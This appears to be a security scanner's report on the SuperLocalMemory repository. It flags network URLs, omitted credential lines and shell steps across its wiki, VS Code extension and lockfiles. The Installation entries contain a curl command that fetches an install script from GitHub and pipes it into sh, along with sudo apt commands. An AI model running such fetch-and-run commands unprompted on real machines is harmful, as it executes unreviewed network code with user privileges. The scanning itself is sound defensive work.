{ url = "https://files.pythonhosted.org/packages/0d/bf/27e39f5971dc4f305a4fb9c672ca06f290f7c4e261c568f3dea16a410d47/rpds_py-0.30.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:922e10f31f303c7c920da8981051ff6d8c1a56207dbdf330d9047f6d3 - Network accessline 2711
{ url = "https://files.pythonhosted.org/packages/40/58/442ada3bba6e8e6615fc00483135c14a7538d2ffac30e2d933ccf6852232/rpds_py-0.30.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cdc62c8286ba9bf7f47befdcea13ea - Network accessline 2712
{ url = "https://files.pythonhosted.org/packages/14/14/f59b0127409a33c6ef6f5c1ebd5ad8e32d7861c9c7adfa9a624fc3889f6c/rpds_py-0.30.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:47f9a91efc418b54fb8190a6b4aa7813 - Network accessline 2713
{ url = "https://files.pythonhosted.org/packages/b3/66/e0be3e162ac299b3a22527e8913767d869e6cc75c46bd844aa43fb81ab62/rpds_py-0.30.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1f3587eb9b17f3789ad50824084fa6 - Network accessline 2714
{ url = "https://files.pythonhosted.org/packages/3d/55/fa3b9cf31d0c963ecf1ba777f7cf4b2a2c976795ac430d24a1f43d25a6ba/rpds_py-0.30.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:39c02563fc592411c2c61d26b6c5fe1e51 - Network accessline 2715
{ url = "https://files.pythonhosted.org/packages/60/ca/780cf3b1a32b18c0f05c441958d3758f02544f1d613abf9488cd78876378/rpds_py-0.30.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51a1234d8febafdfd33a42d97da7a43f - Network accessline 2716
{ url = "https://files.pythonhosted.org/packages/82/86/d5f2e04f2aa6247c613da0c1dd87fcd08fa17107e858193566048a1e2f0a/rpds_py-0.30.0-cp313-cp313t-manylinux_2_31_riscv64.whl", hash = "sha256:eb2c4071ab598733724c08221091e8d80e89064cd472819285a9 - Network accessline 2717
{ url = "https://files.pythonhosted.org/packages/4b/9a/453255d2f769fe44e07ea9785c8347edaf867f7026872e76c1ad9f7bed92/rpds_py-0.30.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6bdfdb946967d816e6adf9a3d8201bfad269c67e - Network accessline 2718
{ url = "https://files.pythonhosted.org/packages/a3/31/622a86cdc0c45d6df0e9ccb6becdba5074735e7033c20e401a6d9d0e2ca0/rpds_py-0.30.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c77afbd5f5250bf27bf516c7c4a016813eb2d3e116139aed00969 - Network accessline 2719
{ url = "https://files.pythonhosted.org/packages/1c/5d/15bbf0fb4a3f58a3b1c67855ec1efcc4ceaef4e86644665fff03e1b66d8d/rpds_py-0.30.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:61046904275472a76c8c90c9ccee9013d70a6d0f73eecefd38c1ae7c - Network accessline 2720
{ url = "https://files.pythonhosted.org/packages/6d/61/21b8c41f68e60c8cc3b2e25644f0e3681926020f11d06ab0b78e3c6bbff1/rpds_py-0.30.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4c5f36a861bc4b7da6516dbdf302c55313afa09b81931e8280361a - Network accessline 2721
{ url = "https://files.pythonhosted.org/packages/f9/39/7e067bb06c31de48de3eb200f9fc7c58982a4d3db44b07e73963e10d3be9/rpds_py-0.30.0-cp313-cp313t-win32.whl", hash = "sha256:3d4a69de7a3e50ffc214ae16d79d8fbb0922972da0356dcf4d0fdca2878559c6", si - Network accessline 2722
{ url = "https://files.pythonhosted.org/packages/0a/4d/222ef0b46443cf4cf46764d9c630f3fe4abaa7245be9417e56e9f52b8f65/rpds_py-0.30.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f14fc5df50a716f7ece6a80b6c78bb35ea2ca47c499e422aa4463455dd96d56d" - Network accessline 2723
{ url = "https://files.pythonhosted.org/packages/86/81/dad16382ebbd3d0e0328776d8fd7ca94220e4fa0798d1dc5e7da48cb3201/rpds_py-0.30.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:68f19c879420aa08f61203801423f6cd5ac5f0ac4ac82a2368a9fcd6 - Network accessline 2724
{ url = "https://files.pythonhosted.org/packages/2b/60/19f7884db5d5603edf3c6bce35408f45ad3e97e10007df0e17dd57af18f8/rpds_py-0.30.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ec7c4490c672c1a0389d319b3a9cfcd098dcdc4783991553c332a15acf - Network accessline 2725
{ url = "https://files.pythonhosted.org/packages/bf/c4/76eb0e1e72d1a9c4703c69607cec123c29028bff28ce41588792417098ac/rpds_py-0.30.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f251c812357a3fed308d684a5079ddf - Network accessline 2726
{ url = "https://files.pythonhosted.org/packages/72/87/87ea665e92f3298d1b26d78814721dc39ed8d2c74b86e83348d6b48a6f31/rpds_py-0.30.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ac98b175585ecf4c0348fd7b29c3864bd - Network accessline 2727
{ url = "https://files.pythonhosted.org/packages/77/ad/7783a89ca0587c15dcbf139b4a8364a872a25f861bdb88ed99f9b0dec985/rpds_py-0.30.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3e62880792319dbeb7eb866547f2e35 - Network accessline 2728
{ url = "https://files.pythonhosted.org/packages/5b/3c/2882bdac942bd2172f3da574eab16f309ae10a3925644e969536553cb4ee/rpds_py-0.30.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e7fc54e0900ab35d041b0601431b0a0eb4 - Network accessline 2729
{ url = "https://files.pythonhosted.org/packages/ce/81/9a91c0111ce1758c92516a3e44776920b579d9a7c09b2b06b642d4de3f0f/rpds_py-0.30.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:47e77dc9822d3ad616c3d5759ea5631a7 - Network accessline 2730
{ url = "https://files.pythonhosted.org/packages/cf/8e/1da49d4a107027e5fbc64daeab96a0706361a2918da10cb41769244b805d/rpds_py-0.30.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:b4dc1a6ff022ff85ecafef7979a2c6eb423430e05f1165d668823 - Network accessline 2731
{ url = "https://files.pythonhosted.org/packages/df/5a/7ee239b1aa48a127570ec03becbb29c9d5a9eb092febbd1699d567cae859/rpds_py-0.30.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4559c972db3a360808309e06a74628b95eaccbf96 - Network accessline 2732
{ url = "https://files.pythonhosted.org/packages/70/ea/caa143cf6b772f823bc7929a45da1fa83569ee49b11d18d0ada7f5ee6fd6/rpds_py-0.30.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:0ed177ed9bded28f8deb6ab40c183cd1192aa0de40c12f38be4d59 - Network accessline 2733
{ url = "https://files.pythonhosted.org/packages/64/91/ac20ba2d69303f961ad8cf55bf7dbdb4763f627291ba3d0d7d67333cced9/rpds_py-0.30.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ad1fa8db769b76ea911cb4e10f049d80bf518c104f15b3edb2371cc65 - Network accessline 2734
{ url = "https://files.pythonhosted.org/packages/21/20/7ff5f3c8b00c8a95f75985128c26ba44503fb35b8e0259d812766ea966c7/rpds_py-0.30.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:46e83c697b1f1c72b50e5ee5adb4353eef7406fb3f2043d64c33f20 - Network accessline 2735
{ url = "https://files.pythonhosted.org/packages/72/c7/81dadd7b27c8ee391c132a6b192111ca58d866577ce2d9b0ca157552cce0/rpds_py-0.30.0-cp314-cp314-win32.whl", hash = "sha256:ee454b2a007d57363c2dfd5b6ca4a5d7e2c518938f8ed3b706e37e5d470801ed", siz - Network accessline 2736
{ url = "https://files.pythonhosted.org/packages/3e/d2/1aaac33287e8cfb07aab2e6b8ac1deca62f6f65411344f1433c55e6f3eb8/rpds_py-0.30.0-cp314-cp314-win_amd64.whl", hash = "sha256:95f0802447ac2d10bcc69f6dc28fe95fdf17940367b21d34e34c737870758950", - Network accessline 2737
{ url = "https://files.pythonhosted.org/packages/e8/95/ab005315818cc519ad074cb7784dae60d939163108bd2b394e60dc7b5461/rpds_py-0.30.0-cp314-cp314-win_arm64.whl", hash = "sha256:613aa4771c99f03346e54c3f038e4cc574ac09a3ddfb0e8878487335e96dead6", - Network accessline 2738
{ url = "https://files.pythonhosted.org/packages/9e/68/154fe0194d83b973cdedcdcc88947a2752411165930182ae41d983dcefa6/rpds_py-0.30.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:7e6ecfcb62edfd632e56983964e6884851786443739dbfe3582947e - Network accessline 2739
{ url = "https://files.pythonhosted.org/packages/83/69/8bbc8b07ec854d92a8b75668c24d2abcb1719ebf890f5604c61c9369a16f/rpds_py-0.30.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a1d0bc22a7cdc173fedebb73ef81e07faef93692b8c1ad3733b67e31e - Network accessline 2740
{ url = "https://files.pythonhosted.org/packages/ab/00/ba2e50183dbd9abcce9497fa5149c62b4ff3e22d338a30d690f9af970561/rpds_py-0.30.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d08f00679177226c4cb8c5265012e - Network accessline 2741
{ url = "https://files.pythonhosted.org/packages/05/6f/86f0272b84926bcb0e4c972262f54223e8ecc556b3224d281e6598fc9268/rpds_py-0.30.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5965af57d5848192c13534f90f9dd164 - Network accessline 2742
{ url = "https://files.pythonhosted.org/packages/cb/e9/0e02bb2e6dc63d212641da45df2b0bf29699d01715913e0d0f017ee29438/rpds_py-0.30.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a4e86e34e9ab6b667c27f3211ca48 - Network accessline 2743
{ url = "https://files.pythonhosted.org/packages/ee/ca/be7bca14cf21513bdf9c0606aba17d1f389ea2b6987035eb4f62bd923f25/rpds_py-0.30.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5d3e6b26f2c785d65cc25ef1e5267ccbe - Network accessline 2744
{ url = "https://files.pythonhosted.org/packages/c2/c7/736e00ebf39ed81d75544c0da6ef7b0998f8201b369acf842f9a90dc8fce/rpds_py-0.30.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:626a7433c34566535b6e56a1b39a7b17 - Network accessline 2745
{ url = "https://files.pythonhosted.org/packages/4a/3f/da50dfde9956aaf365c4adc9533b100008ed31aea635f2b8d7b627e25b49/rpds_py-0.30.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:acd7eb3f4471577b9b5a41baf02a978e8bdeb08b4b355273994f - Network accessline 2746
{ url = "https://files.pythonhosted.org/packages/4e/00/34bcc2565b6020eab2623349efbdec810676ad571995911f1abdae62a3a0/rpds_py-0.30.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fe5fa731a1fa8a0a56b0977413f8cacac1768dad - Network accessline 2747
{ url = "https://files.pythonhosted.org/packages/8c/28/882e72b5b3e6f718d5453bd4d0d9cf8df36fddeb4ddbbab17869d5868616/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:74a3243a411126362712ee1524dfc90c650a503502f135d54d1b3 - Network accessline 2748
{ url = "https://files.pythonhosted.org/packages/3b/97/04a65539c17692de5b85c6e293520fd01317fd878ea1995f0367d4532fb1/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:3e8eeb0544f2eb0d2581774be4c3410356eba189529a6b3e36bbbf96 - Network accessline 2749
{ url = "https://files.pythonhosted.org/packages/85/70/92482ccffb96f5441aab93e26c4d66489eb599efdcf96fad90c14bbfb976/rpds_py-0.30.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:dbd936cde57abfee19ab3213cf9c26be06d60750e60a8e4dd85d1a - Network accessline 2750
{ url = "https://files.pythonhosted.org/packages/20/53/7c7e784abfa500a2b6b583b147ee4bb5a2b3747a9166bab52fec4b5b5e7d/rpds_py-0.30.0-cp314-cp314t-win32.whl", hash = "sha256:dc824125c72246d924f7f796b4f63c1e9dc810c7d9e2355864b3c3a73d59ade0", si - Network accessline 2751
{ url = "https://files.pythonhosted.org/packages/d0/02/fa464cdfbe6b26e0600b62c528b72d8608f5cc49f96b8d6e38c95d60c676/rpds_py-0.30.0-cp314-cp314t-win_amd64.whl", hash = "sha256:27f4b0e92de5bfbc6f86e43959e6edd1425c33b5e69aab0984a72047f2bcf1e3" - Network accessline 2755
name = "rustworkx" version = "0.17.1" source = { registry = "https://pypi.org/simple" } - Network accessline 2756
version = "0.17.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2757
source = { registry = "https://pypi.org/simple" }
vscode-agent-plugin/.claude-plugin/plugin.json
- Network accessline 2
"author": { "name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" - Network accessline 3
"name": "Qualixar", "url": "https://github.com/qualixar/superlocalmemory" }, - Network accessline 4
"url": "https://github.com/qualixar/superlocalmemory" - Network accessline 6
"description": "SuperLocalMemory for VS Code agents: local-first agent memory, SLM-Mesh, skills and sub-agents, served by the `slm mcp` you installed.", "displayName": "SuperLocalMemory", "documentationUrl": "https://github.com/qualixar - Network accessline 7
"displayName": "SuperLocalMemory", "documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", "homepage": "https://superlocalmemory.com", - Network accessline 8
"documentationUrl": "https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md", - Network accessline 9
"homepage": "https://superlocalmemory.com", - Network accessline 19
"mcpServers": "./.mcp.json", "name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 20
"name": "superlocalmemory", "privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 21
"privacyPolicyUrl": "https://github.com/qualixar/superlocalmemory/blob/main/PRIVACY.md", - Network accessline 22
"repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 23
"supportUrl": "https://github.com/qualixar/superlocalmemory/issues", - Network accessline 24
"termsOfServiceUrl": "https://qualixar.com/terms",
vscode-agent-plugin/LICENSE
- Network accessline 4
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> - Network accessline 645
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 646
along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 659
if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>. - Network accessline 661
<https://www.gnu.org/licenses/>.
vscode-agent-plugin/README.md
vscode-agent-plugin/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
vscode-agent-plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
vscode-agent-plugin/skills/slm-recall/SKILL.md
vscode-agent-plugin/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
vscode-extension/README.md
- Network accessline 25
You need VS Code 1.101 or later, which is the first release with the extension MCP API. The extension looks for `slm` on your PATH and then in common install folders (`~/.local/bin`, `/opt/homebrew/bin`, `/usr/local/bin`, and the npm global - Network accessline 39
- Website: https://superlocalmemory.com - Network accessline 40
- Source and issues: https://github.com/qualixar/superlocalmemory
vscode-extension/package-lock.json
- Network accessline 20
"node_modules/@types/node": { "version": "22.20.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.20.5.tgz", - Network accessline 21
"version": "22.20.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.20.5.tgz", "integrity": "sha512-U2+DNr+wSjpsTS/wZGYHq7GcwfuSmKiKvoPvK22zwTlRhU91yOniN4qRR5KhIjvif7ysw/dz/hKmfDH0Ris4aA==", - Network accessline 22
"resolved": "https://registry.npmjs.org/@types/node/-/node-22.20.5.tgz", - Network accessline 30
"node_modules/@types/vscode": { "version": "1.101.0", "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.101.0.tgz", - Network accessline 31
"version": "1.101.0", "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.101.0.tgz", "integrity": "sha512-ZWf0IWa+NGegdW3iU42AcDTFHWW7fApLdkdnBqwYEtHVIBGbTu0ZNQKP/kX3Ds/uMJXIMQNAojHR4vexCEEz5Q==", - Network accessline 32
"resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.101.0.tgz", - Network accessline 37
"node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 38
"version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - Network accessline 39
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 51
"node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", - Network accessline 52
"version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", - Network accessline 53
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
vscode-extension/package.json
- Executable scriptline 1
Executable file - Network accessline 26
"superlocalmemory" ], "homepage": "https://superlocalmemory.com", - Network accessline 27
], "homepage": "https://superlocalmemory.com", "repository": { - Network accessline 28
"homepage": "https://superlocalmemory.com", - Network accessline 29
"repository": { "type": "git", "url": "https://github.com/qualixar/superlocalmemory.git", - Network accessline 30
"type": "git", "url": "https://github.com/qualixar/superlocalmemory.git", "directory": "vscode-extension" - Network accessline 31
"url": "https://github.com/qualixar/superlocalmemory.git", - Network accessline 33
}, "bugs": { "url": "https://github.com/qualixar/superlocalmemory/issues" - Network accessline 34
"bugs": { "url": "https://github.com/qualixar/superlocalmemory/issues" }, - Network accessline 35
"url": "https://github.com/qualixar/superlocalmemory/issues"
vscode-extension/src/configured.ts
- Executable scriptline 1
Executable file
vscode-extension/src/extension.ts
vscode-extension/src/starAsk.ts
vscode-extension/test/already-configured.test.js
- Executable scriptline 1
Executable file
vscode-extension/test/package-contract.test.js
- Executable scriptline 1
Executable file
vscode-extension/test/star-ask.test.js
- Executable scriptline 1
Executable file - Network accessline 34
const host = fakeHost({ choice: STAR_ACTION }); await askForStar(host); assert.deepStrictEqual(host.state.opened, ['https://github.com/qualixar/superlocalmemory']); - Network accessline 35
await askForStar(host); assert.deepStrictEqual(host.state.opened, ['https://github.com/qualixar/superlocalmemory']); assert.strictEqual(REPO_URL, host.state.opened[0]); - Network accessline 36
assert.deepStrictEqual(host.state.opened, ['https://github.com/qualixar/superlocalmemory']);
wiki-content/Backup-and-Restore.md
- Access to secretsline 27
[Credential-related source omitted] - Network accessline 36
Pictures and PDFs are never uploaded; only the stores listed in [docs/cloud-backup.md](https://github.com/qualixar/superlocalmemory/blob/main/docs/cloud-backup.md) are sent, and that page also has the GitHub and Google Drive set-up and rest
wiki-content/Cloud-Backup.md
- Network accessline 60
**Google Drive.** Google requires every app to register an OAuth client, so you supply your own client id and secret from Google Cloud Console and add the redirect URI `http://localhost:8765/api/backup/oauth/google/callback`. Files go into - Access to secretsline 64
[Credential-related source omitted]
wiki-content/Compliance.md
- Network accessline 68
slm dashboard # Visual browser at http://localhost:8765 - Network accessline 120
--- *Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com)* - Network accessline 121
*Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com)*
wiki-content/Configuration.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Network accessline 185
"use_cross_encoder": true, "cross_encoder_backend": "openai", "cross_encoder_endpoint": "https://models.example.test/v1/rerank", - Network accessline 186
"cross_encoder_backend": "openai", "cross_encoder_endpoint": "https://models.example.test/v1/rerank", "cross_encoder_model": "BAAI/bge-reranker-v2-m3", - Network accessline 187
"cross_encoder_endpoint": "https://models.example.test/v1/rerank",
wiki-content/Connect-Web-Apps.md
- Network accessline 22
The exact clicks for each app are in the [host guides](https://github.com/qualixar/superlocalmemory/blob/main/docs/remote-access/hosts.md). ChatGPT keeps the permissions it discovered when the plugin was created, so a plugin created while i
wiki-content/FAQ.md
- Network accessline 104
Bounded loops are in [Bounded Loops](Bounded-Loops), framework adapters in [Framework Adapters](Framework-Adapters), several agents sharing memory in [Multi-Agent Memory](Multi-Agent-Memory), and pictures and documents in [Pictures and Docu
wiki-content/Framework-Adapters.md
- Network accessline 28
git clone https://github.com/qualixar/superlocalmemory
wiki-content/Getting-Started.md
- Network accessline 65
This opens the dashboard on your own computer, by default at `http://localhost:8765`. It shows what SLM knows, how it is health-checked, and the settings. [Dashboard Tour](Dashboard-Tour) walks through every screen.
wiki-content/Governance.md
- Network accessline 3
Governance is the part of SuperLocalMemory that makes it a memory system you can run under rules, instead of a vector store you hope behaves. It decides who may write, what may be read across profiles, how memories age, how trust in an agen - Network accessline 35
The trust gate then acts on the score. A write needs trust of at least 0.3 and a delete at least 0.5. Reads pass and are logged, unless you set `SLM_TRUST_READ_GATE=1`, which adds a read threshold (0.1 by default). Both thresholds can be tu
wiki-content/Home.md
- Network accessline 66
SLM's design is described in four arXiv preprints by Varun Pratap Bhardwaj, newest first: [the governed memory operating system paper](https://arxiv.org/abs/2608.08253) (multi-scope isolation, role-based access, verified erasure, hash-chain - Network accessline 68
SLM is open source. The source, issues and releases are on [GitHub](https://github.com/qualixar/superlocalmemory), and the version history is in the [CHANGELOG](https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md).
wiki-content/IDE-Setup.md
- Network accessline 42
|---|---|---| | `stdio` (default) | The pinned Python running the MCP server as a subprocess | Nothing; works with no daemon | | `http` | A URL entry, `http://127.0.0.1:8765/mcp/`, in each host's own shape (`type: http` and `url` for most; - Network accessline 43
| `stdio` (default) | The pinned Python running the MCP server as a subprocess | Nothing; works with no daemon | | `http` | A URL entry, `http://127.0.0.1:8765/mcp/`, in each host's own shape (`type: http` and `url` for most; `serverUrl` fo - Network accessline 44
| `http` | A URL entry, `http://127.0.0.1:8765/mcp/`, in each host's own shape (`type: http` and `url` for most; `serverUrl` for Antigravity, `httpUrl` for Gemini CLI, `type: remote` for OpenCode, `type: streamable-http` for Continue) | The - Network accessline 51
To label what each tool writes, set `SLM_AGENT_ID` in the entry's `env` block, or connect over a URL such as `http://127.0.0.1:8765/mcp/cursor`; the Claude Code and Codex plugins already do this ([Multi-Agent Memory](Multi-Agent-Memory)). T - Network accessline 62
The plugin brings the MCP server, 16 skills, four advisor agents, the `/slm-loop` command and lifecycle hooks. If you do not want the plugin, `slm hooks install` writes additive hooks directly, and you can add the MCP server by hand with `c
wiki-content/Ingestion-Adapters.md
wiki-content/Installation.md
- Network accessline 37
Install SuperLocalMemory on this computer for me. Follow https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Network accessline 38
https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Dangerous shell operationline 45
**One line in a terminal** (macOS and Linux). It needs no Python or Node beforehand. The script installs `uv` if it is missing, lets uv fetch its own Python for SLM, installs SLM, sets it up, starts it, connects the AI tools it finds and op - Dangerous shell operationline 48
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 48
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 81
**As a uv tool.** If you use [uv](https://docs.astral.sh/uv/), `uv tool install --python 3.12 superlocalmemory` gives SLM its own environment and puts only `slm` on your PATH; nothing needs activating and your system Python is left untouche - Network accessline 86
git clone https://github.com/qualixar/superlocalmemory.git - Dangerous shell operationline 98
**Linux (x86_64).** Install Python 3.12 or later with your package manager. On Ubuntu 22.04, use the deadsnakes archive: `sudo add-apt-repository ppa:deadsnakes/ppa && sudo apt install python3.12 python3.12-venv`. If the system Python canno
wiki-content/Living-Brain.md
- Network accessline 3
The Living Brain is SLM's answer to a plain problem: a memory that only grows becomes slower, noisier and less trustworthy. SLM manages memories the way a working memory behaves. Memories that keep proving useful stay sharp, ones that are n
wiki-content/MCP-Tools.md
- Network accessline 10
{ "mcpServers": { "superlocalmemory": { "type": "http", "url": "http://127.0.0.1:8765/mcp/" } } }
wiki-content/Modes-Explained.md
- Network accessline 19
| Embeddings (preset) | Local `nomic-ai/nomic-embed-text-v1.5`, 768 dimensions. | Ollama `nomic-embed-text`, 768 dimensions. | Local nomic, 768 dimensions. Cloud embeddings only if you configure an endpoint (the catalogue default is `text-e - Network accessline 21
| LLM default | None. | `ollama` at `http://localhost:11434`, model `gemma3:4b`. | `openrouter` with `openai/gpt-6-luna`. |
wiki-content/Multi-Agent-Memory.md
- Network accessline 7
SLM resolves the agent id for each call in a fixed order. First, if the client reached the daemon over HTTP at `/mcp/<agent_id>` (for example `http://127.0.0.1:8765/mcp/claude`), the path segment is the id. Second, for stdio MCP processes,
wiki-content/Optimize.md
- Network accessline 7
| Surface | How you use it | Proxy needed | What it can cache or compress | |---|---|---|---| | Proxy | Point a client at `http://127.0.0.1:8765` (`slm wrap`, `slm proxy`, or a base-URL setting) | Yes | Whole model calls: exact-match respon - Network accessline 8
|---|---|---|---| | Proxy | Point a client at `http://127.0.0.1:8765` (`slm wrap`, `slm proxy`, or a base-URL setting) | Yes | Whole model calls: exact-match response cache and lossless compression of the request | | MCP tools | `slm_compre - Network accessline 9
| Proxy | Point a client at `http://127.0.0.1:8765` (`slm wrap`, `slm proxy`, or a base-URL setting) | Yes | Whole model calls: exact-match response cache and lossless compression of the request | - Network accessline 38
`--dry-run` previews the action. The `--persistent` flag is accepted but the wrap code never reads it, so to make Claude Code use the proxy permanently run `slm wrap claude-settings` instead. For SDKs, set the base URL (`http://127.0.0.1:87
wiki-content/Pictures-and-Documents.md
wiki-content/Plugins-Skills-and-Hooks.md
- Network accessline 13
| Codex | `codex-plugin/` | `slm connect codex`, then `slm codex install`; or `codex plugin marketplace add qualixar/superlocalmemory --ref main` and `codex plugin add superlocalmemory-codex@qualixar` | | GitHub Copilot (VS Code) | `copilot - Network accessline 14
| GitHub Copilot (VS Code) | `copilot-plugin/` | `slm connect vscode-copilot --here` from the project root, then copy `copilot-plugin/.github/` into your project's `.github/` | | Hermes | `hermes-plugin/` | `hermes plugins install 'https:// - Network accessline 15
| Hermes | `hermes-plugin/` | `hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'`, then `slm upgrade-hosts --host hermes --apply` |
wiki-content/Research-Foundations.md
- Network accessline 9
| arXiv | Title | What it covers | Where it shows up in the product | |---|---|---|---| | [2608.08253](https://arxiv.org/abs/2608.08253) | SuperLocalMemory: The Governed Memory Operating System for AI Agents (with Garima Singh and Arun Prat - Network accessline 10
|---|---|---|---| | [2608.08253](https://arxiv.org/abs/2608.08253) | SuperLocalMemory: The Governed Memory Operating System for AI Agents (with Garima Singh and Arun Pratap Bhardwaj) | Multi-scope isolation, role-based access, verified eras - Network accessline 11
| [2608.08253](https://arxiv.org/abs/2608.08253) | SuperLocalMemory: The Governed Memory Operating System for AI Agents (with Garima Singh and Arun Pratap Bhardwaj) | Multi-scope isolation, role-based access, verified erasure, hash-chained - Network accessline 12
| [2604.04514](https://arxiv.org/abs/2604.04514) | SuperLocalMemory: The Living Brain | Biologically inspired forgetting, cognitive quantization, multi-channel retrieval without a language model | [Living Brain](Living-Brain) | - Network accessline 13
